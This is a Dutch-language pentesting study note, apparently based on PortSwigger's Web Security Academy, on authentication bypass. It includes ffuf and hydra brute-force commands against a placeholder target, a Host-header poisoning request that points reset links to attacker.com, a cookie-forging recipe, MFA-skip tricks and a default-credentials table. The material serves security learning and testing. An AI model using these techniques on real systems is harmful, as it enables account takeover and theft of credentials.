Authentication Bypass
Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen
1. Wat is Authentication Bypass?
Authentication kwetsbaarheden laten een aanvaller toe om de inlogmechanismen van een applicatie te omzeilen of te ondermijnen — door een ander account over te nemen of zonder geldige credentials toegang te krijgen.
Verschil met access control:
| Authentication | Authorization | |
|---|---|---|
| Vraag | Ben jij wie je zegt te zijn? | Mag jij dit doen? |
| Fout | Iemand logt in als een ander | Iemand doet meer dan mag |
| Resultaat | Account takeover | Privilege escalation |
Oorzaken:
- Zwakke brute force-bescherming
- Logic flaws in authenticatieflow
- Voorspelbare tokens of cookies
- Foutieve implementatie van MFA
- Slechte password reset-mechanismen
2. Detectie
| Test | Wat je zoekt |
|---|---|
| Verschillende foutmeldingen | "Ongeldige gebruikersnaam" vs "Ongeldig wachtwoord" |
| Responstijd | Langere response bij geldige username |
| Rate limiting | Lockout na X pogingen? IP-gebaseerd? |
| "Remember me" cookie | Voorspelbare of decodeerbare waarde? |
| Password reset flow | Voorspelbaar token? Host header gebruikt? |
| MFA stap | Stap overslaan door direct naar volgend endpoint? |
| Default credentials | Admin/admin, admin/password, ... |
| Statuscode-manipulatie | 302 → 200 in response forceren |
Burp Suite
- Intruder voor brute force en username enumeratie
- Sequencer voor token-entropie analyse
- Match & Replace voor response manipulatie
3. Username Enumeratie
De applicatie onthult of een username geldig is via subtiele verschillen.
3.1 Foutmeldingen
Ongeldige gebruikersnaam ← username bestaat niet
Ongeldig wachtwoord ← username bestaat wél
Ongeldige gebruikersnaam of wachtwoord ← correct: geen info
Zelfs kleine spelling- of opmaaksverschillen tellen:
Invalid username or password. ← punt aanwezig
Invalid username or password ← punt afwezig → andere codepath
3.2 Responstijd
Als de applicatie het wachtwoord alleen hasht bij een bestaande username, duurt een geldige username langer:
Username: niet_bestaand → response: 85ms
Username: administrator → response: 300ms ← hashing kost tijd
Test in Burp Intruder → kolom "Response received" en "Response completed" vergelijken.
3.3 HTTP Statuscode
Username bestaat niet → HTTP 200 (login pagina opnieuw)
Username bestaat wél → HTTP 302 (redirect na fout wachtwoord)
3.4 Enumeratie via andere kanalen
Registratieformulier: "Dit e-mailadres is al in gebruik"
Password reset: "We sturen een e-mail als dit account bestaat" ← sommige apps geven dit rechtstreeks aan
4. Brute Force Aanvallen
4.1 Eenvoudige Brute Force
Burp Intruder → Sniper → payload: wachtwoordlijst
4.2 Credential Stuffing
Gelekte username:wachtwoord-combinaties testen op de doelsite:
# Via ffuf
ffuf -u https://target.com/login \
-X POST \
-d "username=HFUZZ&password=WFUZZ" \
-w usernames.txt:HFUZZ \
-w passwords.txt:WFUZZ \
-fc 200
4.3 Rate Limiting Omzeilen
Account lockout
Brute force triggert soms account lockout — ook op echte accounts. Stem dit af met de opdrachtgever vóór je begint.
5. Logic Flaws in Authenticatieflow
5.1 Stap Overslaan
De applicatie veronderstelt dat de gebruiker stap 1 doorlopen heeft voor hij stap 2 bereikt:
Stap 1: POST /login → credentials controleren
Stap 2: GET /2fa → MFA code invoeren
Stap 3: GET /account → ingelogd
Aanval: stap 1 met geldige credentials van aanvaller, daarna
stap 2 overslaan door rechtstreeks /account?uid=admin op te vragen
5.2 Gebruiker in Verborgen Veld of Cookie
Als username client-stuurbaar is:
5.3 Statuscode Manipulatie
Als een 302 redirect naar /login betekent dat authenticatie faalt, maar de response body al de dashboardinhoud bevat:
Response: 302 Found → Location: /login
→ In Burp Match & Replace: "HTTP/2 302" vervangen door "HTTP/2 200"
→ Browser toont dashboard
5.4 Voorspelbare "Stay Logged In" Cookie
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M…
→ Base64 decode: wiener:51dc30ddc473d43a6011e9ebba6cd601
→ MD5 hash van wachtwoord → hash van "peter" klopt!
→ Genereer voor admin: Base64(administrator:MD5("password"))
6. Password Reset Kwetsbaarheden
6.1 Voorspelbaar Reset Token
Als tokens incrementeel, timestamp-gebaseerd of te raden zijn → aanvaller vraagt reset aan voor admin, raadt het token.
6.2 Host Header Poisoning
De applicatie bouwt de reset-link op met de Host header:
POST /forgot-password
Host: attacker.com ← aangepast
→ Slachtoffer ontvangt e-mail met link:
https://attacker.com/reset?token=abc123
→ Slachtoffer klikt → aanvaller ontvangt token in server logs
Testen door de Host header te vervangen door een Burp Collaborator URL.
6.3 Token Hergebruik & Geen Vervaldatum
1. Vraag reset-token aan voor jouw account
2. Gebruik het token, maar sla het op
3. Token blijft geldig na gebruik? → Hergebruik op ander account
4. Token vervalt niet? → Gebruik weken later nog
6.4 Reset via Voorspelbare Gebruikersdata
?token= (leeg token)
?token=0 (null/zero)
Reset gebaseerd op username in request body → pas aan naar admin
7. MFA Bypass
7.1 Stap Overslaan
Na succesvolle eerste stap (username/password) plaatst de server soms al een sessiecookie:
1. Login met geldige credentials
2. /2fa pagina wordt getoond
3. Navigeer rechtstreeks naar /account of /dashboard
4. Sessie is al actief → toegang verleend
7.2 MFA Code Brute Force
Indien geen rate limiting op de MFA-endpoint:
Bij 6-cijferige codes: 000000–999999 (max 1.000.000 pogingen).
7.3 Response Manipulatie
MFA-verificatie via statuscode of boolean in response:
{"verified": false} ← server response
→ Match & Replace: "false" → "true"
→ Of: 302 naar /login → 302 naar /account
7.4 Backup Codes
- Applicaties geven soms backup codes bij MFA-setup
- Backup codes staan in account-settings pagina
- Via IDOR: lees backup codes van een ander account
8. Default Credentials
Altijd als eerste proberen op admin-panels, login-pagina's en beheerinterfaces:
| Systeem | Username | Wachtwoord |
|---|---|---|
| Algemeen | admin |
admin / password / 123456 |
| Algemeen | administrator |
administrator / admin |
| Router/IoT | admin |
admin / (leeg) |
| Tomcat | tomcat |
tomcat / s3cret |
| Jenkins | admin |
admin |
| Grafana | admin |
admin |
| MySQL | root |
(leeg) / root |
| phpMyAdmin | root |
(leeg) |
| Kibana | elastic |
changeme |
# Automatisch testen
hydra -L users.txt -P passwords.txt https://target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
9. Cheat Sheet
Username Enumeratie Signalen
| Signaal | Aanwezig? |
|---|---|
| Andere foutmelding bij geldige username | |
| Langere responstijd bij geldige username | |
| Andere statuscode | |
| Redirect bij geldige username, geen redirect bij ongeldig | |
| Registratieformulier bevestigt bestaand account |
Brute Force Checklist
□ Rate limiting aanwezig?
□ Lockout na X pogingen?
□ Lockout per IP of per account?
□ X-Forwarded-For vertrouwd voor rate limiting?
□ Succesvolle login reset de teller?
□ CAPTCHA aanwezig? Omzeilbaar?
Password Reset Checklist
□ Token in URL? (gelekt via Referer)
□ Token voorspelbaar of incrementeel?
□ Token verloopt niet?
□ Token herbruikbaar na gebruik?
□ Host header gebruikt in reset-URL?
□ Username in request body client-stuurbaar?
MFA Bypass Checklist
□ Stap direct overslaan naar /account?
□ Brute force op MFA-code mogelijk?
□ Response manipulatie (false → true)?
□ Account sessie al actief voor MFA voltooid?
□ Backup codes via IDOR opvraagbaar?
Interessante Endpoints
/login /signin /auth
/forgot /reset-password /password-reset
/2fa /mfa /verify
/account /dashboard /admin
/api/login /api/auth /api/token